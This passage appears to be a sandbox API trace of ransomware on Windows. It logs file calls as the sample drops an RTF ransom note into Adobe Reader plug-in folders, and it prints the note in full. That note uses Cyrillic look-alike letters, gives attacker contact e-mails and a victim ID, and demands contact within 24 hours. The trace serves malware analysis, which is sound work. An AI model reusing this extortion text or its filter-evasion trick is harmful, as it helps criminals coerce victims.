ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\ní\x87Ó\x83Ù\x8a\x8f\x04Ø\x12\x1fº\x95\x8b\"á:(ï\x7f\x17d|¦_ [.\x8b\x81C\x1c", lpUsedDefaultChar=0x0) returned 14086 [0034.404] WriteFile (in: hFile=0x1d4, lpBuffer=0x280ac88*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x280ac88*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0034.498] CloseHandle (hObject=0x1d4) returned 1 [0034.498] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\!bwng_info!.rtf")) returned 0xffffffff [0034.498] GetLastError () returned 0x2 [0034.498] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0034.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 